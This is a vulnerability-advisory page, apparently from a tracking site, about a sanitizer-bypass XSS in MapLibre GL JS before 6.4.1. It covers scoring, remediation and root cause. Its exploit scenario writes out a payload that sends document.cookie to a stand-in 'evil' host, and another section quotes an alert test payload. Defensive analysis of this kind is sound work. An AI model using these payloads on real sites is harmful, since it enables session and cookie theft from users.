Skip to main content

MapLibre GL JS EUVDEUVD-2026-70734

| CVE-2026-85061 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-09-03 GitHub_M GHSA-jrc7-96c5-q579
10.0
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker supplies malicious custom/third-party attribution string
  2. Delivery
    Consecutive dangerous attributes evade DOM.sanitize skip bug
  3. Exploit
    Attribution control writes payload to innerHTML
  4. Execution
    Victim renders map, event handler fires
  5. Impact
    Arbitrary JS runs in victim browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the deploying application feeds attacker-controllable text into MapLibre's attribution control - specifically untrusted third-party style attribution strings or user-supplied custom attributions rendered by the attribution control (which writes to innerHTML). The malicious input must contain at least two consecutive dangerous attributes so the sanitizer skips the second (e.g. an onload/ontoggle pair on a <details open> element). A victim must then load and render the affected map content for the surviving handler to fire. Limiting factors: applications that only display trusted first-party attribution strings are not exploitable, and the flaw is a client-side XSS whose impact is bounded to the victim's browser session rather than the server.

Impact

The vendor CVSS of 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) substantially overstates real-world risk for a sanitizer-bypass XSS. Exploitation is not truly no-interaction or no-precondition: the attacker must control the attribution text, which requires an application that renders untrusted third-party style attributions or accepts user-supplied custom attributions - a usage-dependent condition rather than a default state - and a victim must render that specific map content. Impact is script execution confined to the victim's browser session (session/token theft, actions as the user), which is why scope-change S:C is defensible but C:H/I:H is aggressive for a client-side XSS. There is no EPSS, KEV, or public weaponized exploit in the provided data; however the upstream fix embeds concrete payloads as tests, so a working POC is effectively public. Net: a real, easily-triggered XSS for apps that display untrusted attributions, but the blanket 10.0 rating conflates worst-case with typical deployment. Treat as a priority for any product that renders third-party or user-controlled attribution strings; lower urgency for apps that only ever show trusted, first-party attributions.

Exploit ScenarioDerived

A mapping application lets community users add custom map layers along with an attribution string, or loads a third-party map style whose attribution field is attacker-influenced. The attacker submits an attribution containing two consecutive event-handler attributes such as <details open onload="x" ontoggle="fetch('//evil/'+document.cookie)">; the sanitizer removes onload but skips ontoggle, and when the attribution control renders it via innerHTML the handler executes in every victim's browser that views the map. A working payload is already published in the fix's regression tests, so no exploit development is required.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 03, 2026

Cross-site scripting in MapLibre GL JS before 6.4.1 lets an attacker who controls map style attribution strings or user-supplied custom attributions bypass the library's HTML sanitizer and run arbitrary JavaScript in the victim's browser. The flaw is a sanitizer bug in DOM.sanitize(): iterating the live attributes collection while deleting attributes shifts indexes, so a dangerous event handler placed immediately after another removed attribute (e.g. onload/ontoggle) survives cleaning and fires when the attribution control writes the content to innerHTML. No public exploit or KEV listing exists, but the fix commit ships working payloads (e.g. <details open onload ontoggle=alert(1)>) as regression tests, making a POC trivially reconstructable.

RemediationAI

Vendor-released patch: 6.4.1 - upgrade the maplibre-gl dependency to 6.4.1 or later (npm install maplibre-gl@^6.4.1) and rebuild/redeploy any bundles that embed it. If an immediate upgrade is not possible, the actionable compensating controls are to stop rendering untrusted attribution content: disable or hard-code the attribution control rather than sourcing it from third-party styles, and reject or server-side-sanitize any user-supplied custom attribution strings before they reach the map (trade-off: loses dynamic/community attribution display and may violate tile-provider attribution requirements). Applying a strict Content-Security-Policy without unsafe-inline reduces the impact of injected inline handlers as defense-in-depth but does not fully fix DOM-based handler execution in all browsers. Refer to GHSA-jrc7-96c5-q579 for details.

Affected VersionsENISA

maplibre-gl-js < 6.4.1

Affected Packages

npm maplibre-gl fix: 5.24.1, 6.4.1
euvd maplibre_gl_js fix: 6.4.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MapLibre GL JS (CPE cpe:2.3:a:maplibre:maplibre-gl-js) is a widely used open-source WebGL vector-tile map rendering library, the community fork of Mapbox GL JS. The affected code, src/util/dom.ts DOM.sanitize(), builds an allowlist sanitizer intended to strip event handlers and dangerous attributes before content is inserted via innerHTML in the attribution control. The root cause (CWE-79, DOM-based XSS) is a classic live-collection mutation bug: elem.attributes returns a live NamedNodeMap, and calling removeAttribute() during a for-of loop over that collection re-indexes remaining entries, causing the iterator to skip the attribute directly following each removed one. Two consecutive dangerous attributes therefore let the second slip through. The fix in PR #8189 snapshots the collection with Array.from(elem.attributes) before iterating, and adds regression tests for consecutive/adjacent dangerous attributes.

Know when Maplibre Gl Js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
vuln.today AI 4.7 MEDIUM

AC:H and UI:R because the app must render attacker-controlled attributions and a victim must load the map; client-side XSS gives S:C but only C:L/I:L, not the vendor's C:H/I:H.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
Sep 03, 2026 - 22:02 EUVD
CVE Published
Sep 03, 2026 - 20:18 cve.org
CRITICAL 10.0

DescriptionCVE.org

MapLibre GL JS is an interactive vector tile map library for web browsers. Prior to 6.4.1, DOM.sanitize() in src/util/dom.ts iterates elem.attributes as a live NamedNodeMap while removeAttributes() removes attributes from the same collection, shifting indexes and skipping an adjacent dangerous attribute. An attacker who controls untrusted third-party style attribution strings or user-supplied custom attributions can supply consecutive dangerous attributes, causing an attribute such as onload or ontoggle to survive sanitization and execute when the attribution control inserts the content into innerHTML. A victim must render the affected map content for the script to execute. This issue is fixed in version 6.4.1.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 npm packages depend on maplibre-gl (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 6.0.0.

Technical POC Analysis

CWE-79, XSS via improper neutralization.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

The MapLibre GL JS library before version 6.4.1 contains a critical security flaw that enables attackers to execute malicious code in the browsers of users viewing maps, putting user credentials and sessions at immediate risk. Organizations using this library in any customer-facing application should prioritize immediate patching to prevent potential account compromise and data theft.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
High
leading open-source WebGL map library, widely embedded in web apps
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy